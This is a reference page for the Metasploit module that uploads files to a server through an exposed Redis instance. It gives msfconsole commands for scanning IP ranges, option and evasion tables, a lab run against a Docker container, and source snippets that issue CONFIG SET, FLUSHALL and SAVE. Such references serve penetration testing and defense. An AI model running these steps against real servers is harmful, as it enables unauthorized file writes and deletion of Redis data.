Redis File Upload - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/redis/file_upload metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Redis File Upload
Module: auxiliary/scanner/redis/file_upload
Source code: modules/auxiliary/scanner/redis/file_upload.rb
Disclosure date: 2015-11-11
Last modification time: 2022-03-10 18:03:35 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 6379
List of CVEs: -

This module can be used to leverage functionality exposed by Redis to achieve somewhat arbitrary file upload to a file and directory to which the user account running the redis instance has access. It is not totally arbitrary because the exact contents of the file cannot be completely controlled given the nature of how Redis stores its database on disk.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/redis/file_upload
msf auxiliary(file_upload) > show options
    ... show and set options ...
msf auxiliary(file_upload) > set RHOSTS ip-range
msf auxiliary(file_upload) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(file_upload) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(file_upload) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(file_upload) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


Redis is an in-memory data structure project implementing a distributed, in-memory key-value database with optional durability. Redis supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, HyperLogLogs, bitmaps, streams, and spatial indexes.

This module can be used to leverage functionality exposed by Redis to achieve somewhat arbitrary file upload to a file and directory to which the user account running the redis instance has access. It is not totally arbitrary because the exact contents of the file cannot be completely controlled given the nature of how Redis stores its database on disk.

Vulnerable Application


This module is tested on two different Redis server instances. Virtual testing environments (inside docker container):

  • Redis 5.0.6
  • Redis 4.0.14

Verification Steps


  1. Do: use auxiliary/scanner/redis/file_upload
  2. Do: set rhosts [ips]
  3. Do: set LocalFile [local_file_path_to_be_uploaded]
  4. Do: set RemoteFile [remote_file_destination]
  5. Do: run

Options


DISABLE_RDBCOMPRESSION

If set to false, redis server will disable compression before saving. Defaults to true.

FLUSHALL

If set to true, redis server will remove all redis data before saving. Defaults to false.

LocalFile

Path to the local file to be uploaded.

RemoteFile

Path, or file name, to store the file as on the Redis server.

Scenarios


Redis: 4.0.14 inside a docker container

msf5 auxiliary(scanner/redis/file_upload) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf5 auxiliary(scanner/redis/file_upload) > set LocalFile redis_upload_test.txt
LocalFile => redis_upload_test.txt
msf5 auxiliary(scanner/redis/file_upload) > set RemoteFile redis_upload_test.txt
RemoteFile => redis_upload_test.txt
msf5 auxiliary(scanner/redis/file_upload) > run

[+] 172.17.0.2:6379       - 172.17.0.2:6379       -- saved 23 bytes inside of redis DB at redis_upload_test.txt
[*] 172.17.0.2:6379       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/redis/file_upload auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/redis/file_upload

msf6 auxiliary(scanner/redis/file_upload) > show info

       Name: Redis File Upload
     Module: auxiliary/scanner/redis/file_upload
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-11-11

Provided by:
  Nixawk
  Jon Hart <[email protected]>

Check supported:
  No

Basic options:
  Name                    Current Setting  Required  Description
  ----                    ---------------  --------  -----------
  DISABLE_RDBCOMPRESSION  true             yes       Disable compression when saving if found to be enabled
  FLUSHALL                false            yes       Run flushall to remove all redis data before saving
  LocalFile                                no        Local file to be uploaded
  PASSWORD                foobared         no        Redis password for authentication test
  RHOSTS                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                   6379             yes       The target port (TCP)
  RemoteFile                               no        Remote file path
  THREADS                 1                yes       The number of concurrent threads (max one per host)

Description:
  This module can be used to leverage functionality exposed by Redis 
  to achieve somewhat arbitrary file upload to a file and directory to 
  which the user account running the redis instance has access. It is 
  not totally arbitrary because the exact contents of the file cannot 
  be completely controlled given the nature of how Redis stores its 
  database on disk.

References:
  http://antirez.com/news/96
  http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
  http://redis.io/topics/protocol

Module Options


This is a complete list of options available in the scanner/redis/file_upload auxiliary module:

msf6 auxiliary(scanner/redis/file_upload) > show options

Module options (auxiliary/scanner/redis/file_upload):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   DISABLE_RDBCOMPRESSION  true             yes       Disable compression when saving if found to be enabled
   FLUSHALL                false            yes       Run flushall to remove all redis data before saving
   LocalFile                                no        Local file to be uploaded
   PASSWORD                foobared         no        Redis password for authentication test
   RHOSTS                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                   6379             yes       The target port (TCP)
   RemoteFile                               no        Remote file path
   THREADS                 1                yes       The number of concurrent threads (max one per host)

Advanced Options


Here is a complete list of advanced options supported by the scanner/redis/file_upload auxiliary module:

msf6 auxiliary(scanner/redis/file_upload) > show advanced

Module advanced options (auxiliary/scanner/redis/file_upload):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   READ_TIMEOUT         2                yes       Seconds to wait while reading redis responses
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/redis/file_upload module can do:

msf6 auxiliary(scanner/redis/file_upload) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/redis/file_upload auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/redis/file_upload) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> -- Unable to disable rdbcompresssion


Here is a relevant code snippet related to the "<PEER> -- Unable to disable rdbcompresssion" error message:

75:	    if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES'
76:	      data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') || ''
77:	      if data.include?('+OK')
78:	        reset_rdbcompression = true
79:	      else
80:	        print_error("#{peer} -- Unable to disable rdbcompresssion")
81:	        reset_rdbcompression = false
82:	      end
83:	    end
84:	
85:	    if datastore['FLUSHALL']

<PEER> -- failed to flushall(); continuing


Here is a relevant code snippet related to the "<PEER> -- failed to flushall(); continuing" error message:

83:	    end
84:	
85:	    if datastore['FLUSHALL']
86:	      data = redis_command('FLUSHALL') || ''
87:	      unless data.include?('+OK')
88:	        print_warning("#{peer} -- failed to flushall(); continuing")
89:	      end
90:	    end
91:	
92:	    # set a key in this db that contains our content
93:	    # XXX: this does not work well (at all) if the content we are uploading is

<PEER> -- failed to save <CONTENT.SIZE> bytes to <PATH> (permissions?)


Here is a relevant code snippet related to the "<PEER> -- failed to save <CONTENT.SIZE> bytes to <PATH> (permissions?)" error message:

99:	    data = redis_command('SAVE') || ''
100:	
101:	    if data.include?('+OK')
102:	      print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}")
103:	    else
104:	      print_error("#{peer} -- failed to save #{content.size} bytes to #{path} (permissions?)")
105:	      return
106:	    end
107:	
108:	    # cleanup
109:	    # XXX: ensure that these get sent if we prematurely return if a previous command fails

CONFIG


Here is a relevant code snippet related to the "CONFIG" error message:

117:	  end
118:	
119:	  def check
120:	    connect
121:	    # they are only vulnerable if we can run the CONFIG command, so try that
122:	    return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
123:	
124:	    if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
125:	      report_redis(redis_version)
126:	    end
127:	

LocalFile must be set


Here is a relevant code snippet related to the "LocalFile must be set" error message:

151:	    # as you can see, the current date exists on its own on a separate line
152:	    @upload_content = "\n#{IO.read(datastore['LocalFile']).strip}\n" if datastore['LocalFile']
153:	  end
154:	
155:	  def run_host(_ip)
156:	    fail_with(Failure::BadConfig, "LocalFile must be set") unless datastore['LocalFile']
157:	    fail_with(Failure::BadConfig, "RemoteFile must be set") unless datastore['RemoteFile']
158:	    return unless check == Exploit::CheckCode::Vulnerable
159:	
160:	    begin
161:	      connect

RemoteFile must be set


Here is a relevant code snippet related to the "RemoteFile must be set" error message:

152:	    @upload_content = "\n#{IO.read(datastore['LocalFile']).strip}\n" if datastore['LocalFile']
153:	  end
154:	
155:	  def run_host(_ip)
156:	    fail_with(Failure::BadConfig, "LocalFile must be set") unless datastore['LocalFile']
157:	    fail_with(Failure::BadConfig, "RemoteFile must be set") unless datastore['RemoteFile']
158:	    return unless check == Exploit::CheckCode::Vulnerable
159:	
160:	    begin
161:	      connect
162:	      send_file(datastore['RemoteFile'], @upload_content)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Nixawk
  • Jon Hart <jon_hart[at]rapid7.com>

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.